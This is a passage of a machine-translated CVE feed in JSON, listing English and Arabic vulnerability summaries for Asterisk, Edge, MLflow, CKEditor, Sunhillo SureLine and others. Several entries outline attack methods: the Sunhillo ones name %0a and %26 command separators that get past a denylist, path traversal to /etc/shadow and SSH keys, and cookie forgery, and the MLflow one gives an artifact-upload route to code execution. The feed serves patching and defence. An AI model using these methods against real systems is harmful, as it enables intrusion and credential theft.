PHP ضارة من خلال معاملات تكوين موصل LDAP مثل `ldap_filter`، مما يؤدي إلى تلويث `\\/personnalisation\\/config_ldap.inc.php` والسماح بتنفيذ أوامر عن بُعد. يجب على المسؤول أولاً الاتصال بنجاح بخادم LDAP، والذي يمكن أن يكون تحت سيطرة المهاجم، ثم إرسال مدخلات ضارة في صفحة إعدادات الموصل اللاحقة. يُبلغ التحذير عن إصلاح هذه المشكلة في الإصدار 4.5.0."},"refs":[["https://github.com/JeromeDevome/GRR/security/advisories/GHSA-fp4f-xmw6-5jf8","ref"],["https://github.com/JeromeDevome/GRR/commit/3ff9504ae557da1e8e208149acbf8c7f04de645f","ref"],["https://github.com/JeromeDevome/GRR/tree/v4.5.0","ref"]],"epss":0.0058,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"jeromedevome-grr"},{"id":"CVE-2026-57191","cvss":8.2,"vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-120","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-27T22:17:27Z","product":"asterisk asterisk","affected":[],"title":{"en":"Asterisk: Stack buffer overflow in MWI NOTIFY Message-Account parsing","ar":"Asterisk: فيضان المخزن المؤقت للذاكرة المكدسة في تحليل رسالة حساب رسائل الانتظار (MWI NOTIFY Message-Account)"},"summary":{"en":"Asterisk is an open source private branch exchange and telephony toolkit. Prior to Asterisk 20.20.1, 21.12.3, 22.10.1, 23.4.1 and Certified Asterisk 20.7-cert11, 22.8-cert3, an unbounded `sscanf` in `res_pjsip_pubsub` when parsing the `MWI NOTIFY` `Message-Account` field may allow an unauthenticated attacker to send a carefully crafted packet that causes a stack buffer overflow and corrupts the underlying transport, permanently disabling all SIP functionality. An Asterisk restart is required to restore full operation. This issue is fixed in Asterisk 20.20.1, 21.12.3, 22.10.1, 23.4.1 and Certified Asterisk 20.7-cert11, 22.8-cert3.","ar":"Asterisk هو نظام تبادل فرعي خاص مفتوح المصدر وأداة هاتفية. قبل الإصدارات Asterisk 20.20.1 و 21.12.3 و 22.10.1 و 23.4.1 و Certified Asterisk 20.7-cert11 و 22.8-cert3، قد تسمح دالة `sscanf` غير المحدودة في `res_pjsip_pubsub` عند تحليل حقل `Message-Account` لرسالة `MWI NOTIFY` لمهاجم دون مصادقة بإرسال حزمة معدة بعناية تتسبب في فيضان المخزن المؤقت للذاكرة المكدسة وتفسد وسائل النقل الأساسية، مما يؤدي إلى تعطيل جميع وظائف SIP بشكل دائم. يتطلب الأمر إعادة تشغيل Asterisk لاستعادة التشغيل الكامل. تم إصلاح هذه المشكلة في Asterisk 20.20.1 و 21.12.3 و 22.10.1 و 23.4.1 و Certified Asterisk 20.7-cert11 و 22.8-cert3."},"refs":[["https://github.com/asterisk/asterisk/commit/0e89514084490070c5ecee419ec5ee37b7c49528","ref"],["https://github.com/asterisk/asterisk/commit/647b35c3cfd4a2cc3b1fb7560b085feba5c24b4b","ref"],["https://github.com/asterisk/asterisk/commit/7a1ffcdf38cc76d1c4eae51651667f3fd4548ab0","ref"],["https://github.com/asterisk/asterisk/commit/b4be3bd67ce4ac35b94fbfa860cdd9e1c906610b","ref"],["https://github.com/asterisk/asterisk/commit/b5281828dad7d44658439ba6393fe6be3328a4bd","ref"],["https://github.com/asterisk/asterisk/commit/dca516f6d895e8867d48fa56b6ce7f05b6f7457a","ref"],["https://github.com/asterisk/asterisk/commit/ee1b66a5e40733ba0b9fad7fc4d032cabbe1dd75","ref"],["https://github.com/asterisk/asterisk/releases/tag/20.20.1","ref"],["https://github.com/asterisk/asterisk/releases/tag/21.12.3","ref"],["https://github.com/asterisk/asterisk/releases/tag/22.10.1","ref"],["https://github.com/asterisk/asterisk/releases/tag/23.4.1","ref"],["https://github.com/asterisk/asterisk/releases/tag/certified-20.7-cert11","ref"]],"epss":0.0059,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"asterisk"},{"id":"CVE-2026-62765","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-843","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T21:37:20Z","product":"Microsoft Microsoft Edge (Chromium-based)","affected":[["1.0.0.0 – <149.0.4022.62","149.0.4022.62"],[" – <149.0.4022.62","149.0.4022.62"]],"title":{"en":"Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability","ar":"ثغرة تنفيذ أوامر عن بُعد في Microsoft Edge (Chromium-based)"},"summary":{"en":"Access of resource using incompatible type ('type confusion') in Microsoft Edge (Chromium-based) allows an unauthorized attacker to execute code over a network.","ar":"يتيح الوصول إلى الموارد باستخدام نوع غير متوافق ('type confusion') في Microsoft Edge (Chromium-based) لمهاجم غير مصرح له تنفيذ البرامج عبر الشبكة."},"refs":[["https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-62765","patch"]],"epss":0.0043,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"microsoft-edge"},{"id":"CVE-2026-85898","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-843","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T21:19:34Z","product":"Microsoft Edge","affected":[[" – <154.0.4258.48","154.0.4258.48"]],"title":{"en":"Access of resource using incompatible type ('type confusion') in Microsoft Edge (Chromium-based) allows an unauthorized attacker to execute code over ","ar":"الوصول إلى المورد باستخدام نوع غير متوافق ('خلط الأنواع') في Microsoft Edge (المبني على Chromium) يتيح لمهاجم غير مصرح له تنفيذ شيفرة عبر الشبكة"},"summary":{"en":"Access of resource using incompatible type ('type confusion') in Microsoft Edge (Chromium-based) allows an unauthorized attacker to execute code over a network.","ar":"الوصول إلى المورد باستخدام نوع غير متوافق ('خلط الأنواع') في Microsoft Edge (المبني على Chromium) يتيح لمهاجم غير مصرح له تنفيذ شيفرة عبر الشبكة."},"refs":[["https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85898","patch"]],"epss":0.0075,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"microsoft-edge"},{"id":"CVE-2026-83831","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-415","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T21:19:08Z","product":"Microsoft Microsoft Edge (Chromium-based)","affected":[["1.0.0.0 – <154.0.4258.48","154.0.4258.48"],[" – <154.0.4258.48","154.0.4258.48"]],"title":{"en":"Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability","ar":"ثغرة تنفيذ أوامر عن بُعد في Microsoft Edge (المبني على Chromium)"},"summary":{"en":"Double free in Microsoft Edge (Chromium-based) allows an unauthorized attacker to execute code over a network.","ar":"يسمح التحرير المزدوج للذاكرة (Double free) في Microsoft Edge (المبني على Chromium) لمهاجم غير مصرح له بتنفيذ شيفرة عبر الشبكة."},"refs":[["https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83831","patch"]],"epss":0.0075,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"microsoft-edge"},{"id":"CVE-2026-57200","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-22","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-27T21:18:06Z","product":"asterisk asterisk","affected":[],"title":{"en":"Asterisk: ARI REST-over-WebSocket read-only bypass allows arbitrary module path load and conditional RCE","ar":"Asterisk: تجاوز وضع القراءة فقط لـ ARI REST-over-WebSocket يتيح تحميل مسار وحدة عشوائي وتنفيذ أوامر عن بُعد مشروط"},"summary":{"en":"Asterisk is an open source private branch exchange and telephony toolkit. Prior to Asterisk 20.20.1, 21.12.3, 22.10.1, 23.4.1 and Certified Asterisk 22.8-cert3, an authenticated attacker with read-only permissions for the `Asterisk REST Interface (ARI)` may, under certain conditions, execute write operations through `REST-over-WebSocket`. The authorization bypass permits `arbitrary module path` loading and conditional remote code execution. The Asterisk HTTP web server must be enabled and reachable, and the attacker must already have valid `read-only ARI credentials`. HTTP is disabled by default and binds only to 127.0.0.1 by default even when enabled. This issue is fixed in Asterisk 20.20.1, 21.12.3, 22.10.1, 23.4.1 and Certified Asterisk 22.8-cert3.","ar":"Asterisk هو نظام تبادل فرعي خاص وأدوات هاتفية مفتوحة المصدر. قبل الإصدارات Asterisk 20.20.1 و 21.12.3 و 22.10.1 و 23.4.1 و Certified Asterisk 22.8-cert3، قد يقوم مهاجم يملك حسابًا مصادق عليه ولديه أذونات القراءة فقط لواجهة `Asterisk REST Interface (ARI)`، في ظل ظروف معينة، بتنفيذ عمليات كتابة عبر `REST-over-WebSocket`. يتيح تجاوز المصادقة هذا تحميل `arbitrary module path` وتنفيذ أوامر عن بُعد مشروط. يجب تمكين خادم الويب HTTP الخاص بـ Asterisk وإمكانية الوصول إليه، ويجب أن يمتلك المهاجم بالفعل `read-only ARI credentials` صالحة. يتم تعطيل HTTP افتراضيًا ولا يرتبط إلا بـ 127.0.0.1 افتراضيًا حتى عند تمكينه. تم إصلاح هذه المشكلة في الإصدارات Asterisk 20.20.1 و 21.12.3 و 22.10.1 و 23.4.1 و Certified Asterisk 22.8-cert3."},"refs":[["https://github.com/asterisk/asterisk/commit/051d29a0d35559e9165bab346de9422e25415533","ref"],["https://github.com/asterisk/asterisk/commit/205c301a0a0b0d013d4ebdf12856ebbc30405350","ref"],["https://github.com/asterisk/asterisk/commit/762b4c9c39b28fa5564112b0f484012298469a6c","ref"],["https://github.com/asterisk/asterisk/commit/87641e9b2cd62c998c5283400ba77b61b5b07dd4","ref"],["https://github.com/asterisk/asterisk/commit/9d198a7d16ccba51507dfea6c1ecc511e89d698a","ref"],["https://github.com/asterisk/asterisk/commit/c10cdbce072a708060cd38a89d6850808fe6bf46","ref"],["https://github.com/asterisk/asterisk/releases/tag/20.20.1","ref"],["https://github.com/asterisk/asterisk/releases/tag/21.12.3","ref"],["https://github.com/asterisk/asterisk/releases/tag/22.10.1","ref"],["https://github.com/asterisk/asterisk/releases/tag/23.4.1","ref"],["https://github.com/asterisk/asterisk/releases/tag/certified-22.8-cert3","ref"],["https://github.com/asterisk/asterisk/security/advisories/GHSA-wcvv-g26m-wx5c","ref"]],"epss":0.0088,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"asterisk"},{"id":"CVE-2026-57195","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-476","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-27T21:18:06Z","product":"asterisk asterisk","affected":[],"title":{"en":"Asterisk: NULL Pointer Dereference in HTTP AMI Digest Authentication","ar":"Asterisk: إلغاء مرجع المؤشر المعدوم (NULL Pointer Dereference) في مصادقة ملخص HTTP AMI"},"summary":{"en":"Asterisk is an open source private branch exchange and telephony toolkit. Prior to Asterisk 20.20.1, 21.12.3, 22.10.1, 23.4.1 and Certified Asterisk 20.7-cert11, 22.8-cert3, a NULL pointer dereference in the `Asterisk Manager Interface (AMI)` may allow an unauthenticated attacker to crash Asterisk when `Digest Authentication` is used via `HTTP`. The Asterisk `HTTP` web server, AMI, and AMI access via `HTTP` must all be enabled; each is disabled by default. The attacker must be able to connect to the `HTTP` server, which binds only to `127.0.0.1` by default even when enabled. This issue is fixed in Asterisk 20.20.1, 21.12.3, 22.10.1, 23.4.1 and Certified Asterisk 20.7-cert11, 22.8-cert3.","ar":"Asterisk هو نظام تبادل فرعي خاص مفتوح المصدر وأداة هاتفية. قبل الإصدارات Asterisk 20.20.1 و 21.12.3 و 22.10.1 و 23.4.1 و Certified Asterisk 20.7-cert11 و 22.8-cert3، قد يتسبب إلغاء مرجع المؤشر المعدوم في واجهة إدارة Asterisk (`Asterisk Manager Interface - AMI`) في السماح لمهاجم دون مصادقة بتعطيل Asterisk عند استخدام مصادقة الملخص (`Digest Authentication`) عبر بروتوكول `HTTP`. يجب تمكين خادم الويب `HTTP` الخاص بـ Asterisk، وAMI، والوصول إلى AMI عبر `HTTP`؛ حيث يتم تعطيل كل منها افتراضياً. يجب أن يكون المهاجم قادراً على الاتصال بخادم `HTTP`، والذي يربط نفسه حصرياً بـ `127.0.0.1` افتراضياً حتى عند تمكينه. تم إصلاح هذه المشكلة في Asterisk 20.20.1 و 21.12.3 و 22.10.1 و 23.4.1 و Certified Asterisk 20.7-cert11 و 22.8-cert3."},"refs":[["https://github.com/asterisk/asterisk/commit/10c5b2efcacab03bf04a229f81cc24e76fe42c41","ref"],["https://github.com/asterisk/asterisk/commit/362ef847e7e057b7626e476ddcfe7328ea314db4","ref"],["https://github.com/asterisk/asterisk/commit/5d5d8d8ef7f16774820b1889ae73d8d2ab14af45","ref"],["https://github.com/asterisk/asterisk/commit/87a1f43e4c465b885163665aa89172ed0f392663","ref"],["https://github.com/asterisk/asterisk/commit/a1fcfdf9b91ed58cc8fb9da8d135da60bae7345d","ref"],["https://github.com/asterisk/asterisk/commit/abba42c58fee2226a709583afdbeec75cf1dde8b","ref"],["https://github.com/asterisk/asterisk/commit/fff89162cdd702e8a143701f138edd8dceab154f","ref"],["https://github.com/asterisk/asterisk/releases/tag/20.20.1","ref"],["https://github.com/asterisk/asterisk/releases/tag/21.12.3","ref"],["https://github.com/asterisk/asterisk/releases/tag/22.10.1","ref"],["https://github.com/asterisk/asterisk/releases/tag/23.4.1","ref"],["https://github.com/asterisk/asterisk/releases/tag/certified-20.7-cert11","ref"]],"epss":0.0057,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"asterisk"},{"id":"CVE-2026-116693","cvss":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-1333","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-27T21:18:05Z","product":"DataDog dd-trace-js","affected":[],"title":{"en":"dd-trace: ReDOS in URL query string obfuscation","ar":"dd-trace: ثغرة حجب الخدمة بالتراجع المنتظم (ReDOS) في إخفاء هوية سلسلة استعلام URL"},"summary":{"en":"dd-trace is the Datadog APM client for Node.js. From 2.0.0 until 5.131.1 and 6.20.1, the default DD_TRACE_OBFUSCATION_QUERY_STRING_REGEXP can perform excessive backtracking on attacker-controlled URL query strings. The expression is applied synchronously while recording HTTP URL metadata, allowing a crafted request to consume excessive CPU, stall request processing, and make the instrumented application unavailable. This issue is fixed in versions 5.131.1 and 6.20.1.","ar":"dd-trace هو عميل Datadog APM لـ Node.js. من الإصدار 2.0.0 حتى 5.131.1 و 6.20.1، يمكن لـ DD_TRACE_OBFUSCATION_QUERY_STRING_REGEXP الافتراضي إجراء تراجع مفرط على سلاسل استعلام URL التي يتحكم بها المهاجم. يتم تطبيق التعبير بشكل متزامن أثناء تسجيل بيانات تعريف عنوان URL الخاص بـ HTTP، مما يسمح لطلب مصمم خصيصًا استهلاك وحدة معالجة مركزية مفرطة، وتعطيل معالجة الطلبات، وجعل التطبيق الآلي غير متاح. تم إصلاح هذه المشكلة في الإصدارين 5.131.1 و 6.20.1."},"refs":[["https://github.com/DataDog/dd-trace-js/commit/5eeee790c93036a50549056fc890028cb4c86b1b","ref"],["https://github.com/DataDog/dd-trace-js/commit/cf4e68a45fa1442c9850f2086c81901258e821b8","ref"],["https://github.com/DataDog/dd-trace-js/pull/10675","ref"],["https://github.com/DataDog/dd-trace-js/releases/tag/v5.131.1","ref"],["https://github.com/DataDog/dd-trace-js/releases/tag/v6.20.1","ref"],["https://github.com/DataDog/dd-trace-js/security/advisories/GHSA-x94g-w73q-hpcw","ref"]],"epss":0.0045,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"datadog-dd-trace-js"},{"id":"CVE-2026-112355","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T20:17:13Z","product":"MembershipWorks MembershipWorks","affected":[["0 – <6.17","6.17"]],"title":{"en":"MembershipWorks WordPress Plugin < 6.17 Information Disclosure via WordPress REST API","ar":"إفشاء معلومات في إضافة MembershipWorks WordPress أقل من 6.17 عبر WordPress REST API"},"summary":{"en":"The MembershipWorks plugin for WordPress before 6.17 contains an information disclosure vulnerability that allows unauthenticated attackers to access member-only content through the WordPress REST API. Because the filter that strips protected content for non-members is only attached during normal front-end request handling and not during REST API requests, an unauthenticated attacker can retrieve the raw member-only content in a post or page’s rendered content, bypassing the plugin’s content protection.","ar":"تحتوي إضافة MembershipWorks لنظام WordPress في الإصدارات قبل 6.17 على ثغرة إفشاء معلومات تسمح لمهاجمين دون مصادقة بالوصول إلى المحتوى الخاص الأعضاء فقط من خلال WordPress REST API. نظرًا لأن المرشح الذي يقوم بإزالة المحتوى المحمي لغير الأعضاء يتم إرفاقه فقط أثناء التعامل مع طلب الواجهة الأمامية العادية وليس أثناء طلبات REST API، يمكن لمهاجم دون مصادقة استرجاع المحتوى الخام الخاص بالأعضاء فقط في منشور أو المحتوى المعروض للصفحة، متجاوزًا حماية محتوى الإضافة."},"refs":[["https://wordpress.org/plugins/memberfindme/#developers","patch"],["https://www.vulncheck.com/advisories/membershipworks-wordpress-plugin-information-disclosure-via-wordpress-rest-api","advisory"]],"epss":0.0027,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"membershipworks"},{"id":"CVE-2026-112350","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","cwe":"CWE-22","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T20:17:12Z","product":"Sunhillo Corporation SureLine","affected":[["8.0.0 – <9.1.5","9.1.5"]],"title":{"en":"Sunhillo SureLine Path Traversal via radarUpdater.cgi","ar":"اجتياز المسار في Sunhillo SureLine عبر radarUpdater.cgi"},"summary":{"en":"Sunhillo SureLine before 9.1.5 contains a path traversal vulnerability in the radarUpdater.cgi endpoint that allows unauthenticated remote attackers to read arbitrary files with root privileges due to missing authentication checks and insufficient sanitization of the filename parameter. Attackers can use directory traversal sequences to access sensitive files such as /etc/shadow, the web user database, the root SSH private key, and the device's TLS private key, leading to full system compromise.","ar":"يحتوي Sunhillo SureLine في الإصدارات قبل 9.1.5 على ثغرة اجتياز المسار في نقطة النهاية radarUpdater.cgi والتي تسمح لمهاجمين عن بُعد دون مصادقة بقراءة ملفات عشوائية بصلاحيات root بسبب غياب فحوصات المصادقة وعدم كفاية التعقيم لمعلمة filename. يمكن للمهاجمين استخدام تسلسلات اجتياز الدليل للوصول إلى الملفات الحساسة مثل ⼐etc⼐shadow وقاعدة بيانات مستخدمي الويب والمفتاح الخاص لـ SSH الخاص بـ root والمفتاح الخاص لـ TLS الخاص بالجهاز، مما يؤدي إلى اختراق كامل للنظام."},"refs":[["https://www.vulncheck.com/advisories/sunhillo-sureline-path-traversal-via-radarupdater-cgi","advisory"],["https://www.sunhillo.com/product/sureline/","ref"]],"epss":0.0095,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"sunhillo-corporation-sureline"},{"id":"CVE-2026-112351","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-78","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T20:17:12Z","product":"Sunhillo Corporation SureLine","affected":[["8.6.0 – <9.1.5","9.1.5"]],"title":{"en":"Sunhillo SureLine OS Command Injection via networkDiag.cgi","ar":"حقن أوامر نظام التشغيل في Sunhillo SureLine عبر networkDiag.cgi"},"summary":{"en":"Sunhillo SureLine before 9.1.5 contains an OS command injection vulnerability in the networkDiag.cgi endpoint that allows an authenticated remote attacker with any web account to execute arbitrary commands as root by injecting shell metacharacters into the ipAddr or dnsAddr parameters. Attackers can bypass the incomplete character denylist from the prior CVE-2021-36380 fix using URL-encoded newline (%0a) or ampersand (%26) sequences that act as command separators after decoding in the ping, nslookup, or traceroute diagnostic modes, leading to full system compromise.","ar":"يحتوي Sunhillo SureLine في الإصدارات قبل 9.1.5 على ثغرة حقن أوامر نظام التشغيل في نقطة النهاية networkDiag.cgi التي تسمح لمهاجم عن بُعد يمتلك حسابًا مصادق عليه ولديه أي حساب ويب بتنفيذ أوامر عشوائية بصلاحيات root عن طريق حقن رموز الأوامر التعريفية للصدفة في معلمتي ipAddr أو dnsAddr. يمكن للمهاجمين تجاوز قائمة حظر الأحرف غير الكاملة من إصلاح CVE-2021-36380 السابق باستخدام تسلسلات الأسطر الجديدة المشفرة بعنوان URL (%0a) أو علامة العطف (%26) التي تعمل كفواصل للأوامر بعد فك التشفير في أوضاع التشخيص ping أو nslookup أو traceroute، مما يؤدي إلى اختراق كامل للنظام."},"refs":[["https://www.vulncheck.com/advisories/sunhillo-sureline-os-command-injection-via-networkdiag-cgi","advisory"],["https://www.sunhillo.com/product/sureline/","ref"]],"epss":0.0268,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"sunhillo-corporation-sureline"},{"id":"CVE-2026-112352","cvss":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","cwe":"CWE-565","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T20:17:12Z","product":"Sunhillo Sureline","affected":[["8.0.0 – <9.1.5","9.1.5"]],"title":{"en":"Sunhillo SureLine before 9.1.5 contains an authentication bypass vulnerability that allows an unauthenticated remote attacker to impersonate any user ","ar":"Sunhillo SureLine قبل 9.1.5 يحتوي على ثغرة تجاوز المصادقة تتيح لمهاجم عن بُعد دون مصادقة انتحال شخصية أي مستخدم"},"summary":{"en":"Sunhillo SureLine before 9.1.5 contains an authentication bypass vulnerability that allows an unauthenticated remote attacker to impersonate any user with an active web session by forging a session cookie containing only a cleartext username with no random identifier or integrity protection. Attackers can guess default account names such as Admin or sftp_user and submit a forged username cookie to satisfy the login check in checkLogin (libwebcmn.so) and networkDiag.cgi, chaining into root command execution.","ar":"يحتوي Sunhillo SureLine قبل 9.1.5 على ثغرة تجاوز المصادقة تتيح لمهاجم عن بُعد دون مصادقة انتحال شخصية أي مستخدم لديه جلسة ويب نشطة عن طريق تزوير ملف تعريف ارتباط للجلسة يحتوي فقط على اسم مستخدم بصيغة نص صريح بدون معرف عشوائي أو حماية سلامة. يمكن للمهاجمين تخمين أسماء الحسابات الافتراضية مثل Admin أو sftp_user وإرسال ملف تعريف ارتباط اسم مستخدم مزور لتلبية فحص تسجيل الدخول في checkLogin (libwebcmn.so) و networkDiag.cgi، مما يؤدي بالتسلسل إلى تنفيذ أوامر بصلاحيات root."},"refs":[["https://www.vulncheck.com/advisories/sunhillo-sureline-authentication-bypass-via-session-cookie","advisory"],["https://www.sunhillo.com/product/sureline/","ref"]],"epss":0.0132,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"sunhillo-sureline"},{"id":"CVE-2026-116692","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-94","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-27T20:03:49Z","product":"mlflow mlflow","affected":[],"title":{"en":"MLflow: Remote code execution on unauthenticated MLflow servers via third-party scorer deserialization importing caller-placed artifact modules","ar":"MLflow: تنفيذ أوامر عن بُعد على خوادم MLflow دون مصادقة عبر إلغاء تسلسل المقيم من طرف ثالث مع استيراد وحدات الأثار الموضعية للمستدعي"},"summary":{"en":"MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. From 3.12.0rc0 until 3.17.0, third-party scorer deserialization in mlflow/genai/scorers/base.py accepts request-selected descendants of THIRD_PARTY_SCORER_ALLOWED_MODULES rather than requiring an exact allowed module. A caller can use MLflow artifact endpoints to place a Python module beneath a writable allowed package and submit its module and class through /ajax-api/3.0/mlflow/scorer/invoke. Scorer.model_validate_json() imports the module and constructs the class before trace processing. Authentication-disabled deployments permit this code execution without credentials, while basic-auth deployments require a principal capable of creating an experiment and run and uploading artifacts. In either configuration, the allowed scorer package must be writable by the server process. This issue is fixed in version 3.17.0.","ar":"MLflow هي منصة هندسة ذكاء اصطناعي مفتوحة المصدر للعملاء، ونماذج اللغة الكبيرة، ونماذج التعلم الآلي. من الإصدار 3.12.0rc0 حتى 3.17.0، تقبل عملية إلغاء تسلسل المقيم من طرف ثالث في الملف mlflow/genai/scorers/base.py العناصر التابعة المحددة بواسطة الطلب ضمن THIRD_PARTY_SCORER_ALLOWED_MODULES بدلاً من طلب وحدة مسموح بها بدقة. يمكن للمستدعي استخدام نقاط نهاية أثار MLflow لوضع وحدة Python تحت حزمة مسموح بها قابلة للكتابة وإرسال وحدتها وفئتها عبر /ajax-api/3.0/mlflow/scorer/invoke. تقوم الدالة Scorer.model_validate_json() باستيراد الوحدة وإنشاء الفئة قبل معالجة التتبع. تسمح عمليات النشر التي تُعطّل فيها المصادقة بتنفيذ هذه الشيفرة دون بيانات اعتماد، بينما تتطلب عمليات النشر ذات المصادقة الأساسية وجود هُوية قادرة على إنشاء تجربة وتشغيل وتحميل الأثار. في كلا التكوينين، يجب أن تكون حزمة المقيم المسموح بها قابلة للكتابة بواسطة عملية الخادم. تم إصلاح هذه الثغرة في الإصدار 3.17.0."},"refs":[["https://github.com/mlflow/mlflow/security/advisories/GHSA-26p8-2jq9-3vq9","ref"],["https://github.com/mlflow/mlflow/pull/25906","ref"],["https://github.com/mlflow/mlflow/commit/a732443e695c3c677680c54320efc394c81654ab","ref"],["https://github.com/mlflow/mlflow/releases/tag/v3.17.0","ref"]],"epss":0.007,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"mlflow"},{"id":"CVE-2026-116688","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","cwe":"CWE-79","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-27T19:36:28Z","product":"ckeditor ckeditor5","affected":[],"title":{"en":"CKEditor: Cross-site scripting (XSS) in the engine package","ar":"CKEditor: برمجة مواقع عبر النطاق (XSS) في حزمة المحرك"},"summary":{"en":"CKEditor 5 is a modern JavaScript rich-text editor with an MVC architecture. From 45.0.0 until 47.7.4 and 48.5.1, the engine uses a vulnerable es-toolkit version whose prototype-pollution behavior can be reached while CKEditor processes incoming style attribute values. Crafted editor content can thereby cause unauthorized JavaScript execution in the browser. This issue is fixed in versions 47.7.4 and 48.5.1.","ar":"CKEditor 5 هو محرر نص غني حديث بلغة JavaScript ذو هيكلية MVC. من الإصدار 45.0.0 حتى 47.7.4 و48.5.1، يستخدم المحرك إصداراً ضعيفاً من es-toolkit يمكن الوصول إلى سلوك تللوث النموذج الأولي (prototype-pollution) فيه أثناء معالجة CKEditor لقيم سمات النمط الواردة. يمكن لمحتوى المحرر المُصمّم خصيصاً التسبب في تنفيذ شيفرة JavaScript غير مصرح بها في المتصفح. تم إصلاح هذه الثغرة في الإصدارين 47.7.4 و48.5.1."},"refs":[["https://github.com/ckeditor/ckeditor5/security/advisories/GHSA-rh54-vffm-5fvp","ref"],["https://github.com/ckeditor/ckeditor5/commit/4d9c5bb34f63cd956d15ccafbe584e14280c86a0","ref"],["https://github.com/ckeditor/ckeditor5/commit/a750e38635db6a18c5b11599c09f4fd702850423","ref"],["https://github.com/ckeditor/ckeditor5/releases/tag/v47.7.4","ref"],["https://github.com/ckeditor/ckeditor5/releases/tag/v48.5.1","ref"]],"epss":0.005,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"ckeditor-ckeditor5"},{"id":"CVE-2026-116683","cvss":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-522","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-27T19:17:11Z","product":"ctfer-io terraform-provider-ctfd","affected":[],"title":{"en":"CTFer.io's CTFd Terraform Provider allows a local or remote attacker to read team passwords in state as non sensitive values","ar":"موفر CTFd Terraform من CTFer.io يسمح لمهاجم محلي أو عن 